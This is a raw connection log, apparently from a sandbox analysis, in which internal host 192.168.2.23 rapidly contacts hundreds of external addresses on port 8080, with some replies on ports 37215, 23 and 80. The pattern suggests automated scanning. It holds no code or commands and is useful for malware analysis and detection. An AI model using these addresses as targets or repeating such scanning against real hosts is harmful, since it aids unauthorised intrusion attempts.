Dec 26, 2023 21:22:46.139643908 CET	45469	8080	192.168.2.23	94.255.20.217
Dec 26, 2023 21:22:46.139661074 CET	45469	8080	192.168.2.23	62.91.115.63
Dec 26, 2023 21:22:46.139673948 CET	45469	8080	192.168.2.23	85.17.138.106
Dec 26, 2023 21:22:46.139691114 CET	45469	8080	192.168.2.23	31.230.102.10
Dec 26, 2023 21:22:46.139691114 CET	45469	8080	192.168.2.23	85.244.200.239
Dec 26, 2023 21:22:46.139694929 CET	45469	8080	192.168.2.23	95.45.105.91
Dec 26, 2023 21:22:46.139715910 CET	45469	8080	192.168.2.23	31.73.67.136
Dec 26, 2023 21:22:46.139715910 CET	45469	8080	192.168.2.23	31.192.130.125
Dec 26, 2023 21:22:46.139718056 CET	45469	8080	192.168.2.23	31.49.123.21
Dec 26, 2023 21:22:46.139736891 CET	45469	8080	192.168.2.23	31.176.60.215
Dec 26, 2023 21:22:46.139738083 CET	45469	8080	192.168.2.23	95.203.128.153
Dec 26, 2023 21:22:46.139753103 CET	45469	8080	192.168.2.23	62.139.107.152
Dec 26, 2023 21:22:46.139755011 CET	45469	8080	192.168.2.23	31.176.71.172
Dec 26, 2023 21:22:46.139765978 CET	45469	8080	192.168.2.23	31.63.17.184
Dec 26, 2023 21:22:46.139765978 CET	45469	8080	192.168.2.23	62.16.218.84
Dec 26, 2023 21:22:46.139775991 CET	45469	8080	192.168.2.23	62.120.154.123
Dec 26, 2023 21:22:46.139780045 CET	45469	8080	192.168.2.23	94.126.58.112
Dec 26, 2023 21:22:46.139785051 CET	45469	8080	192.168.2.23	95.29.237.46
Dec 26, 2023 21:22:46.139789104 CET	45469	8080	192.168.2.23	85.99.47.107
Dec 26, 2023 21:22:46.139792919 CET	45469	8080	192.168.2.23	95.57.85.194
Dec 26, 2023 21:22:46.139796019 CET	45469	8080	192.168.2.23	95.214.197.239
Dec 26, 2023 21:22:46.139801025 CET	45469	8080	192.168.2.23	31.163.27.165
Dec 26, 2023 21:22:46.139803886 CET	45469	8080	192.168.2.23	94.158.20.84
Dec 26, 2023 21:22:46.139805079 CET	45469	8080	192.168.2.23	94.156.64.90
Dec 26, 2023 21:22:46.139825106 CET	45469	8080	192.168.2.23	85.253.175.70
Dec 26, 2023 21:22:46.139837027 CET	45469	8080	192.168.2.23	95.156.199.60
Dec 26, 2023 21:22:46.139839888 CET	45469	8080	192.168.2.23	85.98.239.213
Dec 26, 2023 21:22:46.139844894 CET	45469	8080	192.168.2.23	95.122.118.2
Dec 26, 2023 21:22:46.139848948 CET	45469	8080	192.168.2.23	85.250.147.72
Dec 26, 2023 21:22:46.139853954 CET	45469	8080	192.168.2.23	31.116.251.109
Dec 26, 2023 21:22:46.139885902 CET	45469	8080	192.168.2.23	85.40.40.48
Dec 26, 2023 21:22:46.139904022 CET	45469	8080	192.168.2.23	95.254.125.87
Dec 26, 2023 21:22:46.139905930 CET	45469	8080	192.168.2.23	62.208.251.85
Dec 26, 2023 21:22:46.139905930 CET	45469	8080	192.168.2.23	94.165.178.137
Dec 26, 2023 21:22:46.139909983 CET	45469	8080	192.168.2.23	94.126.45.86
Dec 26, 2023 21:22:46.139919996 CET	45469	8080	192.168.2.23	31.23.95.125
Dec 26, 2023 21:22:46.139923096 CET	45469	8080	192.168.2.23	62.112.236.230
Dec 26, 2023 21:22:46.139935017 CET	45469	8080	192.168.2.23	85.183.198.94
Dec 26, 2023 21:22:46.139940023 CET	45469	8080	192.168.2.23	94.216.94.126
Dec 26, 2023 21:22:46.139955997 CET	45469	8080	192.168.2.23	62.43.181.202
Dec 26, 2023 21:22:46.139965057 CET	45469	8080	192.168.2.23	94.206.53.197
Dec 26, 2023 21:22:46.139977932 CET	45469	8080	192.168.2.23	94.167.242.234
Dec 26, 2023 21:22:46.139981985 CET	45469	8080	192.168.2.23	62.243.73.21
Dec 26, 2023 21:22:46.139981985 CET	45469	8080	192.168.2.23	85.199.36.133
Dec 26, 2023 21:22:46.139996052 CET	45469	8080	192.168.2.23	62.96.232.27
Dec 26, 2023 21:22:46.139996052 CET	45469	8080	192.168.2.23	31.47.65.113
Dec 26, 2023 21:22:46.139997005 CET	45469	8080	192.168.2.23	94.74.88.201
Dec 26, 2023 21:22:46.140011072 CET	45469	8080	192.168.2.23	31.95.47.179
Dec 26, 2023 21:22:46.140012026 CET	45469	8080	192.168.2.23	62.173.92.211
Dec 26, 2023 21:22:46.140012980 CET	45469	8080	192.168.2.23	31.102.51.160
Dec 26, 2023 21:22:46.140024900 CET	45469	8080	192.168.2.23	62.164.126.85
Dec 26, 2023 21:22:46.140041113 CET	45469	8080	192.168.2.23	31.64.233.200
Dec 26, 2023 21:22:46.140048981 CET	45469	8080	192.168.2.23	94.141.20.232
Dec 26, 2023 21:22:46.140053034 CET	45469	8080	192.168.2.23	62.244.140.29
Dec 26, 2023 21:22:46.140059948 CET	45469	8080	192.168.2.23	95.143.56.106
Dec 26, 2023 21:22:46.140070915 CET	45469	8080	192.168.2.23	85.130.208.167
Dec 26, 2023 21:22:46.140084982 CET	45469	8080	192.168.2.23	31.106.192.40
Dec 26, 2023 21:22:46.140090942 CET	45469	8080	192.168.2.23	94.186.138.203
Dec 26, 2023 21:22:46.140100002 CET	45469	8080	192.168.2.23	31.125.200.127
Dec 26, 2023 21:22:46.140100002 CET	45469	8080	192.168.2.23	94.138.195.121
Dec 26, 2023 21:22:46.140110970 CET	45469	8080	192.168.2.23	94.226.30.233
Dec 26, 2023 21:22:46.140110970 CET	45469	8080	192.168.2.23	95.61.93.159
Dec 26, 2023 21:22:46.140125036 CET	45469	8080	192.168.2.23	31.31.2.21
Dec 26, 2023 21:22:46.140139103 CET	45469	8080	192.168.2.23	94.126.237.162
Dec 26, 2023 21:22:46.140161037 CET	45469	8080	192.168.2.23	85.178.78.38
Dec 26, 2023 21:22:46.140162945 CET	45469	8080	192.168.2.23	62.183.242.89
Dec 26, 2023 21:22:46.140163898 CET	45469	8080	192.168.2.23	94.8.63.245
Dec 26, 2023 21:22:46.140167952 CET	45469	8080	192.168.2.23	94.57.53.159
Dec 26, 2023 21:22:46.140176058 CET	45469	8080	192.168.2.23	85.139.220.96
Dec 26, 2023 21:22:46.140201092 CET	45469	8080	192.168.2.23	95.250.57.249
Dec 26, 2023 21:22:46.140203953 CET	45469	8080	192.168.2.23	31.246.1.130
Dec 26, 2023 21:22:46.140211105 CET	45469	8080	192.168.2.23	94.231.64.76
Dec 26, 2023 21:22:46.140211105 CET	45469	8080	192.168.2.23	31.174.68.41
Dec 26, 2023 21:22:46.140223026 CET	45469	8080	192.168.2.23	95.29.214.205
Dec 26, 2023 21:22:46.140237093 CET	45469	8080	192.168.2.23	31.17.7.16
Dec 26, 2023 21:22:46.140239954 CET	45469	8080	192.168.2.23	31.81.171.105
Dec 26, 2023 21:22:46.140239954 CET	45469	8080	192.168.2.23	85.100.82.168
Dec 26, 2023 21:22:46.140275002 CET	45469	8080	192.168.2.23	95.88.152.93
Dec 26, 2023 21:22:46.140288115 CET	45469	8080	192.168.2.23	94.98.176.26
Dec 26, 2023 21:22:46.140289068 CET	45469	8080	192.168.2.23	31.17.106.70
Dec 26, 2023 21:22:46.140309095 CET	45469	8080	192.168.2.23	95.47.249.227
Dec 26, 2023 21:22:46.140309095 CET	45469	8080	192.168.2.23	62.38.122.218
Dec 26, 2023 21:22:46.140309095 CET	45469	8080	192.168.2.23	62.209.32.212
Dec 26, 2023 21:22:46.140330076 CET	54142	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:46.146167040 CET	41352	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:46.146174908 CET	48180	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.155689001 CET	37215	45981	197.8.228.37	192.168.2.23
Dec 26, 2023 21:22:46.279305935 CET	23	36253	104.171.73.43	192.168.2.23
Dec 26, 2023 21:22:46.372982025 CET	8080	45469	94.237.99.161	192.168.2.23
Dec 26, 2023 21:22:46.379770994 CET	8080	48180	94.237.55.152	192.168.2.23
Dec 26, 2023 21:22:46.379843950 CET	48180	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.379880905 CET	48180	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.379892111 CET	48180	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.379924059 CET	48192	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.389430046 CET	8080	45469	62.91.13.231	192.168.2.23
Dec 26, 2023 21:22:46.392760992 CET	8080	45469	62.233.41.12	192.168.2.23
Dec 26, 2023 21:22:46.392807007 CET	45469	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.412589073 CET	37215	45981	41.82.90.219	192.168.2.23
Dec 26, 2023 21:22:46.424504995 CET	80	45725	112.158.254.43	192.168.2.23
Dec 26, 2023 21:22:46.425838947 CET	80	45725	112.161.45.27	192.168.2.23
Dec 26, 2023 21:22:46.428775072 CET	8080	45469	94.121.195.24	192.168.2.23
Dec 26, 2023 21:22:46.428838015 CET	45469	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:46.431739092 CET	80	45725	112.163.236.80	192.168.2.23
Dec 26, 2023 21:22:46.432760954 CET	8080	41352	94.122.56.19	192.168.2.23
Dec 26, 2023 21:22:46.432806015 CET	41352	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:46.432832003 CET	50360	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.432845116 CET	36500	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:46.432867050 CET	41352	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:46.432867050 CET	41352	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:46.432888031 CET	41368	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:46.434209108 CET	80	45725	112.155.160.2	192.168.2.23
Dec 26, 2023 21:22:46.434288979 CET	45725	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:46.436615944 CET	80	45725	112.169.17.23	192.168.2.23
Dec 26, 2023 21:22:46.443622112 CET	23	36253	218.148.107.94	192.168.2.23
Dec 26, 2023 21:22:46.443861008 CET	8080	45469	95.252.219.235	192.168.2.23
Dec 26, 2023 21:22:46.443954945 CET	8080	45469	95.244.235.234	192.168.2.23
Dec 26, 2023 21:22:46.481244087 CET	37215	45981	197.4.15.52	192.168.2.23
Dec 26, 2023 21:22:46.496758938 CET	8080	45469	94.68.244.56	192.168.2.23
Dec 26, 2023 21:22:46.496808052 CET	45469	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:46.606359005 CET	8080	48180	94.237.55.152	192.168.2.23
Dec 26, 2023 21:22:46.606369019 CET	8080	48180	94.237.55.152	192.168.2.23
Dec 26, 2023 21:22:46.606535912 CET	48180	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.608220100 CET	8080	48192	94.237.55.152	192.168.2.23
Dec 26, 2023 21:22:46.608292103 CET	48192	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.608315945 CET	48192	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.608345985 CET	45469	8080	192.168.2.23	95.37.208.22
Dec 26, 2023 21:22:46.608350992 CET	45469	8080	192.168.2.23	62.160.142.115
Dec 26, 2023 21:22:46.608361959 CET	45469	8080	192.168.2.23	94.27.96.37
Dec 26, 2023 21:22:46.608366966 CET	45469	8080	192.168.2.23	62.24.105.177
Dec 26, 2023 21:22:46.608371019 CET	45469	8080	192.168.2.23	31.72.49.194
Dec 26, 2023 21:22:46.608386993 CET	45469	8080	192.168.2.23	95.106.105.238
Dec 26, 2023 21:22:46.608386993 CET	45469	8080	192.168.2.23	95.118.112.165
Dec 26, 2023 21:22:46.608386993 CET	45469	8080	192.168.2.23	94.196.195.244
Dec 26, 2023 21:22:46.608397961 CET	45469	8080	192.168.2.23	31.123.159.77
Dec 26, 2023 21:22:46.608397007 CET	45469	8080	192.168.2.23	94.117.206.22
Dec 26, 2023 21:22:46.608414888 CET	45469	8080	192.168.2.23	85.31.169.121
Dec 26, 2023 21:22:46.608414888 CET	45469	8080	192.168.2.23	94.152.227.172
Dec 26, 2023 21:22:46.608417034 CET	45469	8080	192.168.2.23	62.33.218.245
Dec 26, 2023 21:22:46.608428001 CET	45469	8080	192.168.2.23	85.10.13.151
Dec 26, 2023 21:22:46.608448029 CET	45469	8080	192.168.2.23	95.165.51.179
Dec 26, 2023 21:22:46.608454943 CET	45469	8080	192.168.2.23	31.75.188.10
Dec 26, 2023 21:22:46.608460903 CET	45469	8080	192.168.2.23	94.251.29.0
Dec 26, 2023 21:22:46.608464956 CET	45469	8080	192.168.2.23	94.60.31.196
Dec 26, 2023 21:22:46.608470917 CET	45469	8080	192.168.2.23	31.228.165.228
Dec 26, 2023 21:22:46.608480930 CET	45469	8080	192.168.2.23	94.65.178.98
Dec 26, 2023 21:22:46.608484030 CET	45469	8080	192.168.2.23	95.190.98.91
Dec 26, 2023 21:22:46.608486891 CET	45469	8080	192.168.2.23	31.216.11.80
Dec 26, 2023 21:22:46.608491898 CET	45469	8080	192.168.2.23	85.28.181.220
Dec 26, 2023 21:22:46.608498096 CET	45469	8080	192.168.2.23	31.185.92.117
Dec 26, 2023 21:22:46.608508110 CET	45469	8080	192.168.2.23	94.180.179.100
Dec 26, 2023 21:22:46.608508110 CET	45469	8080	192.168.2.23	31.23.50.76
Dec 26, 2023 21:22:46.608516932 CET	45469	8080	192.168.2.23	95.183.84.30
Dec 26, 2023 21:22:46.608536959 CET	45469	8080	192.168.2.23	95.145.105.42
Dec 26, 2023 21:22:46.608544111 CET	45469	8080	192.168.2.23	62.209.84.112
Dec 26, 2023 21:22:46.608551025 CET	45469	8080	192.168.2.23	62.59.117.42
Dec 26, 2023 21:22:46.608552933 CET	45469	8080	192.168.2.23	85.46.78.80
Dec 26, 2023 21:22:46.608567953 CET	45469	8080	192.168.2.23	85.34.189.64
Dec 26, 2023 21:22:46.608576059 CET	45469	8080	192.168.2.23	31.111.5.21
Dec 26, 2023 21:22:46.608577967 CET	45469	8080	192.168.2.23	94.175.37.69
Dec 26, 2023 21:22:46.608594894 CET	45469	8080	192.168.2.23	85.168.49.132
Dec 26, 2023 21:22:46.608594894 CET	45469	8080	192.168.2.23	85.170.109.59
Dec 26, 2023 21:22:46.608597040 CET	45469	8080	192.168.2.23	62.150.136.234
Dec 26, 2023 21:22:46.608612061 CET	45469	8080	192.168.2.23	62.47.101.240
Dec 26, 2023 21:22:46.608617067 CET	45469	8080	192.168.2.23	31.147.250.61
Dec 26, 2023 21:22:46.608622074 CET	45469	8080	192.168.2.23	95.33.61.16
Dec 26, 2023 21:22:46.608623028 CET	45469	8080	192.168.2.23	95.86.187.233
Dec 26, 2023 21:22:46.608630896 CET	45469	8080	192.168.2.23	62.51.194.228
Dec 26, 2023 21:22:46.608656883 CET	45469	8080	192.168.2.23	62.21.158.186
Dec 26, 2023 21:22:46.608659029 CET	45469	8080	192.168.2.23	85.63.128.140
Dec 26, 2023 21:22:46.608659983 CET	45469	8080	192.168.2.23	94.95.214.225
Dec 26, 2023 21:22:46.608659983 CET	45469	8080	192.168.2.23	31.91.188.4
Dec 26, 2023 21:22:46.608659983 CET	45469	8080	192.168.2.23	95.84.1.45
Dec 26, 2023 21:22:46.608664036 CET	45469	8080	192.168.2.23	31.11.81.142
Dec 26, 2023 21:22:46.608665943 CET	45469	8080	192.168.2.23	85.242.149.87
Dec 26, 2023 21:22:46.608670950 CET	45469	8080	192.168.2.23	94.59.125.109
Dec 26, 2023 21:22:46.608670950 CET	45469	8080	192.168.2.23	85.133.247.20
Dec 26, 2023 21:22:46.608676910 CET	45469	8080	192.168.2.23	85.17.90.169
Dec 26, 2023 21:22:46.608678102 CET	45469	8080	192.168.2.23	94.45.177.97
Dec 26, 2023 21:22:46.608684063 CET	45469	8080	192.168.2.23	31.79.187.49
Dec 26, 2023 21:22:46.608684063 CET	45469	8080	192.168.2.23	62.44.145.197
Dec 26, 2023 21:22:46.608710051 CET	45469	8080	192.168.2.23	85.200.83.33
Dec 26, 2023 21:22:46.608736038 CET	45469	8080	192.168.2.23	85.236.200.80
Dec 26, 2023 21:22:46.608736038 CET	45469	8080	192.168.2.23	85.10.229.147
Dec 26, 2023 21:22:46.608736038 CET	45469	8080	192.168.2.23	85.80.158.109
Dec 26, 2023 21:22:46.608737946 CET	45469	8080	192.168.2.23	94.192.193.249
Dec 26, 2023 21:22:46.608745098 CET	45469	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:46.608752012 CET	45469	8080	192.168.2.23	62.85.228.65
Dec 26, 2023 21:22:46.608760118 CET	45469	8080	192.168.2.23	62.212.150.252
Dec 26, 2023 21:22:46.608760118 CET	45469	8080	192.168.2.23	31.212.127.56
Dec 26, 2023 21:22:46.608772039 CET	45469	8080	192.168.2.23	95.221.74.79
Dec 26, 2023 21:22:46.608781099 CET	45469	8080	192.168.2.23	31.31.58.79
Dec 26, 2023 21:22:46.608793974 CET	45469	8080	192.168.2.23	95.32.168.118
Dec 26, 2023 21:22:46.608797073 CET	45469	8080	192.168.2.23	62.70.40.88
Dec 26, 2023 21:22:46.608810902 CET	45469	8080	192.168.2.23	94.85.49.9
Dec 26, 2023 21:22:46.608812094 CET	45469	8080	192.168.2.23	95.242.192.144
Dec 26, 2023 21:22:46.608822107 CET	45469	8080	192.168.2.23	85.129.84.194
Dec 26, 2023 21:22:46.608822107 CET	45469	8080	192.168.2.23	94.22.168.42
Dec 26, 2023 21:22:46.608836889 CET	45469	8080	192.168.2.23	95.66.115.167
Dec 26, 2023 21:22:46.608836889 CET	45469	8080	192.168.2.23	62.208.157.159
Dec 26, 2023 21:22:46.608838081 CET	45469	8080	192.168.2.23	94.245.87.32
Dec 26, 2023 21:22:46.608845949 CET	45469	8080	192.168.2.23	62.20.82.224
Dec 26, 2023 21:22:46.608855009 CET	45469	8080	192.168.2.23	62.47.252.73
Dec 26, 2023 21:22:46.608859062 CET	45469	8080	192.168.2.23	94.210.103.95
Dec 26, 2023 21:22:46.608875990 CET	45469	8080	192.168.2.23	62.231.74.198
Dec 26, 2023 21:22:46.608877897 CET	45469	8080	192.168.2.23	85.146.139.69
Dec 26, 2023 21:22:46.608884096 CET	45469	8080	192.168.2.23	85.238.247.1
Dec 26, 2023 21:22:46.608891010 CET	45469	8080	192.168.2.23	31.163.143.251
Dec 26, 2023 21:22:46.608903885 CET	45469	8080	192.168.2.23	94.90.37.53
Dec 26, 2023 21:22:46.608906031 CET	45469	8080	192.168.2.23	62.90.197.242
Dec 26, 2023 21:22:46.608910084 CET	45469	8080	192.168.2.23	94.75.195.132
Dec 26, 2023 21:22:46.608911037 CET	45469	8080	192.168.2.23	94.192.74.5
Dec 26, 2023 21:22:46.608911037 CET	45469	8080	192.168.2.23	62.13.158.120
Dec 26, 2023 21:22:46.608915091 CET	45469	8080	192.168.2.23	62.26.14.202
Dec 26, 2023 21:22:46.608918905 CET	45469	8080	192.168.2.23	94.57.86.247
Dec 26, 2023 21:22:46.608921051 CET	45469	8080	192.168.2.23	94.68.159.78
Dec 26, 2023 21:22:46.608947039 CET	45469	8080	192.168.2.23	85.63.137.156
Dec 26, 2023 21:22:46.608948946 CET	45469	8080	192.168.2.23	31.154.44.59
Dec 26, 2023 21:22:46.608948946 CET	45469	8080	192.168.2.23	62.187.121.235
Dec 26, 2023 21:22:46.608951092 CET	45469	8080	192.168.2.23	95.171.86.188
Dec 26, 2023 21:22:46.608958960 CET	45469	8080	192.168.2.23	31.16.47.202
Dec 26, 2023 21:22:46.608962059 CET	45469	8080	192.168.2.23	85.145.138.156
Dec 26, 2023 21:22:46.608972073 CET	45469	8080	192.168.2.23	94.159.230.129
Dec 26, 2023 21:22:46.608973980 CET	45469	8080	192.168.2.23	94.95.6.155
Dec 26, 2023 21:22:46.608983040 CET	45469	8080	192.168.2.23	94.194.214.183
Dec 26, 2023 21:22:46.608992100 CET	45469	8080	192.168.2.23	31.122.165.221
Dec 26, 2023 21:22:46.608995914 CET	45469	8080	192.168.2.23	31.179.80.96
Dec 26, 2023 21:22:46.609005928 CET	45469	8080	192.168.2.23	94.117.168.233
Dec 26, 2023 21:22:46.609011889 CET	45469	8080	192.168.2.23	95.46.151.34
Dec 26, 2023 21:22:46.609013081 CET	45469	8080	192.168.2.23	31.250.238.67
Dec 26, 2023 21:22:46.609021902 CET	45469	8080	192.168.2.23	85.207.244.218
Dec 26, 2023 21:22:46.609029055 CET	45469	8080	192.168.2.23	94.180.196.41
Dec 26, 2023 21:22:46.609042883 CET	45469	8080	192.168.2.23	31.170.242.15
Dec 26, 2023 21:22:46.609044075 CET	45469	8080	192.168.2.23	94.160.194.129
Dec 26, 2023 21:22:46.609056950 CET	45469	8080	192.168.2.23	94.135.4.224
Dec 26, 2023 21:22:46.609066010 CET	45469	8080	192.168.2.23	62.133.170.186
Dec 26, 2023 21:22:46.609081030 CET	45469	8080	192.168.2.23	31.135.65.222
Dec 26, 2023 21:22:46.609093904 CET	45469	8080	192.168.2.23	85.99.141.135
Dec 26, 2023 21:22:46.609096050 CET	45469	8080	192.168.2.23	95.141.141.6
Dec 26, 2023 21:22:46.609113932 CET	45469	8080	192.168.2.23	94.100.142.213
Dec 26, 2023 21:22:46.609128952 CET	45469	8080	192.168.2.23	85.97.105.195
Dec 26, 2023 21:22:46.609128952 CET	45469	8080	192.168.2.23	62.194.61.230
Dec 26, 2023 21:22:46.609128952 CET	45469	8080	192.168.2.23	85.54.109.203
Dec 26, 2023 21:22:46.609131098 CET	45469	8080	192.168.2.23	62.116.233.1
Dec 26, 2023 21:22:46.609138966 CET	45469	8080	192.168.2.23	95.227.255.207
Dec 26, 2023 21:22:46.609143972 CET	45469	8080	192.168.2.23	62.105.226.121
Dec 26, 2023 21:22:46.609153986 CET	45469	8080	192.168.2.23	85.99.206.34
Dec 26, 2023 21:22:46.609174967 CET	45469	8080	192.168.2.23	62.20.209.148
Dec 26, 2023 21:22:46.609175920 CET	45469	8080	192.168.2.23	31.79.64.209
Dec 26, 2023 21:22:46.609189987 CET	45469	8080	192.168.2.23	85.125.140.12
Dec 26, 2023 21:22:46.609194040 CET	45469	8080	192.168.2.23	31.130.115.123
Dec 26, 2023 21:22:46.609195948 CET	45469	8080	192.168.2.23	85.110.35.115
Dec 26, 2023 21:22:46.609211922 CET	45469	8080	192.168.2.23	62.242.128.167
Dec 26, 2023 21:22:46.609211922 CET	45469	8080	192.168.2.23	85.234.74.164
Dec 26, 2023 21:22:46.609222889 CET	45469	8080	192.168.2.23	85.49.13.217
Dec 26, 2023 21:22:46.609227896 CET	45469	8080	192.168.2.23	31.222.252.44
Dec 26, 2023 21:22:46.609237909 CET	45469	8080	192.168.2.23	95.106.134.109
Dec 26, 2023 21:22:46.609249115 CET	45469	8080	192.168.2.23	85.116.75.219
Dec 26, 2023 21:22:46.609256029 CET	45469	8080	192.168.2.23	95.125.226.3
Dec 26, 2023 21:22:46.609256983 CET	45469	8080	192.168.2.23	85.191.223.219
Dec 26, 2023 21:22:46.609267950 CET	45469	8080	192.168.2.23	85.50.215.18
Dec 26, 2023 21:22:46.609308004 CET	45469	8080	192.168.2.23	62.212.83.18
Dec 26, 2023 21:22:46.609334946 CET	45469	8080	192.168.2.23	94.32.62.28
Dec 26, 2023 21:22:46.609338045 CET	45469	8080	192.168.2.23	94.89.149.39
Dec 26, 2023 21:22:46.609340906 CET	45469	8080	192.168.2.23	85.151.23.175
Dec 26, 2023 21:22:46.609349012 CET	45469	8080	192.168.2.23	85.109.100.119
Dec 26, 2023 21:22:46.609354973 CET	45469	8080	192.168.2.23	95.177.216.224
Dec 26, 2023 21:22:46.609354973 CET	45469	8080	192.168.2.23	94.11.232.213
Dec 26, 2023 21:22:46.609357119 CET	45469	8080	192.168.2.23	95.181.35.30
Dec 26, 2023 21:22:46.609365940 CET	45469	8080	192.168.2.23	95.199.249.24
Dec 26, 2023 21:22:46.609380960 CET	45469	8080	192.168.2.23	85.184.151.201
Dec 26, 2023 21:22:46.609381914 CET	45469	8080	192.168.2.23	85.47.61.217
Dec 26, 2023 21:22:46.609395981 CET	45469	8080	192.168.2.23	94.247.18.3
Dec 26, 2023 21:22:46.609401941 CET	45469	8080	192.168.2.23	95.152.141.247
Dec 26, 2023 21:22:46.609405041 CET	45469	8080	192.168.2.23	95.0.70.117
Dec 26, 2023 21:22:46.609416008 CET	45469	8080	192.168.2.23	94.226.158.103
Dec 26, 2023 21:22:46.609421968 CET	45469	8080	192.168.2.23	31.43.142.253
Dec 26, 2023 21:22:46.609437943 CET	45469	8080	192.168.2.23	85.209.165.249
Dec 26, 2023 21:22:46.609438896 CET	45469	8080	192.168.2.23	85.134.241.185
Dec 26, 2023 21:22:46.609445095 CET	45469	8080	192.168.2.23	95.198.173.175
Dec 26, 2023 21:22:46.609447002 CET	45469	8080	192.168.2.23	95.39.131.120
Dec 26, 2023 21:22:46.609462023 CET	45469	8080	192.168.2.23	95.61.31.120
Dec 26, 2023 21:22:46.609464884 CET	45469	8080	192.168.2.23	31.46.104.125
Dec 26, 2023 21:22:46.609479904 CET	45469	8080	192.168.2.23	94.1.196.221
Dec 26, 2023 21:22:46.609484911 CET	45469	8080	192.168.2.23	85.154.43.51
Dec 26, 2023 21:22:46.609492064 CET	45469	8080	192.168.2.23	85.104.152.193
Dec 26, 2023 21:22:46.609508038 CET	45469	8080	192.168.2.23	95.32.53.253
Dec 26, 2023 21:22:46.609519005 CET	45469	8080	192.168.2.23	85.92.45.14
Dec 26, 2023 21:22:46.609520912 CET	45469	8080	192.168.2.23	95.149.82.83
Dec 26, 2023 21:22:46.609534979 CET	45469	8080	192.168.2.23	95.68.32.100
Dec 26, 2023 21:22:46.609544992 CET	45469	8080	192.168.2.23	95.159.155.94
Dec 26, 2023 21:22:46.609549046 CET	45469	8080	192.168.2.23	31.131.154.135
Dec 26, 2023 21:22:46.609558105 CET	45469	8080	192.168.2.23	85.207.83.91
Dec 26, 2023 21:22:46.609558105 CET	45469	8080	192.168.2.23	62.204.162.41
Dec 26, 2023 21:22:46.609561920 CET	45469	8080	192.168.2.23	62.169.243.187
Dec 26, 2023 21:22:46.609561920 CET	45469	8080	192.168.2.23	85.120.207.108
Dec 26, 2023 21:22:46.609570980 CET	45469	8080	192.168.2.23	95.117.75.252
Dec 26, 2023 21:22:46.609580040 CET	45469	8080	192.168.2.23	94.227.4.41
Dec 26, 2023 21:22:46.609580040 CET	45469	8080	192.168.2.23	85.180.216.254
Dec 26, 2023 21:22:46.609601974 CET	45469	8080	192.168.2.23	85.136.60.175
Dec 26, 2023 21:22:46.609610081 CET	45469	8080	192.168.2.23	95.226.50.39
Dec 26, 2023 21:22:46.609622002 CET	45469	8080	192.168.2.23	85.160.12.36
Dec 26, 2023 21:22:46.609622955 CET	45469	8080	192.168.2.23	31.145.145.33
Dec 26, 2023 21:22:46.609622955 CET	45469	8080	192.168.2.23	85.132.130.22
Dec 26, 2023 21:22:46.609628916 CET	45469	8080	192.168.2.23	85.240.107.136
Dec 26, 2023 21:22:46.609632015 CET	45469	8080	192.168.2.23	31.191.179.157
Dec 26, 2023 21:22:46.609637022 CET	45469	8080	192.168.2.23	85.219.62.190
Dec 26, 2023 21:22:46.609647036 CET	45469	8080	192.168.2.23	62.226.110.140
Dec 26, 2023 21:22:46.609663963 CET	45469	8080	192.168.2.23	95.250.177.172
Dec 26, 2023 21:22:46.609673977 CET	45469	8080	192.168.2.23	94.42.168.107
Dec 26, 2023 21:22:46.609683037 CET	45469	8080	192.168.2.23	62.2.218.133
Dec 26, 2023 21:22:46.609683037 CET	45469	8080	192.168.2.23	62.145.41.51
Dec 26, 2023 21:22:46.609711885 CET	45469	8080	192.168.2.23	95.210.34.171
Dec 26, 2023 21:22:46.609723091 CET	45469	8080	192.168.2.23	95.47.140.112
Dec 26, 2023 21:22:46.609730005 CET	45469	8080	192.168.2.23	95.11.150.80
Dec 26, 2023 21:22:46.609730005 CET	45469	8080	192.168.2.23	94.24.202.200
Dec 26, 2023 21:22:46.609760046 CET	45469	8080	192.168.2.23	31.89.147.196
Dec 26, 2023 21:22:46.609761000 CET	45469	8080	192.168.2.23	31.249.75.101
Dec 26, 2023 21:22:46.609764099 CET	45469	8080	192.168.2.23	94.155.98.152
Dec 26, 2023 21:22:46.609772921 CET	45469	8080	192.168.2.23	31.113.23.215
Dec 26, 2023 21:22:46.609781981 CET	45469	8080	192.168.2.23	95.37.112.137
Dec 26, 2023 21:22:46.609790087 CET	45469	8080	192.168.2.23	95.163.194.105
Dec 26, 2023 21:22:46.609797955 CET	45469	8080	192.168.2.23	31.55.82.226
Dec 26, 2023 21:22:46.609814882 CET	45469	8080	192.168.2.23	31.208.35.124
Dec 26, 2023 21:22:46.609821081 CET	45469	8080	192.168.2.23	62.143.243.109
Dec 26, 2023 21:22:46.609836102 CET	45469	8080	192.168.2.23	95.182.45.39
Dec 26, 2023 21:22:46.609839916 CET	45469	8080	192.168.2.23	95.249.254.188
Dec 26, 2023 21:22:46.609843016 CET	45469	8080	192.168.2.23	85.211.141.242
Dec 26, 2023 21:22:46.609852076 CET	45469	8080	192.168.2.23	94.52.255.223
Dec 26, 2023 21:22:46.609867096 CET	45469	8080	192.168.2.23	95.244.190.7
Dec 26, 2023 21:22:46.609885931 CET	45469	8080	192.168.2.23	85.158.251.84
Dec 26, 2023 21:22:46.609899998 CET	45469	8080	192.168.2.23	95.205.38.181
Dec 26, 2023 21:22:46.609899998 CET	45469	8080	192.168.2.23	95.185.252.20
Dec 26, 2023 21:22:46.609908104 CET	45469	8080	192.168.2.23	94.85.83.139
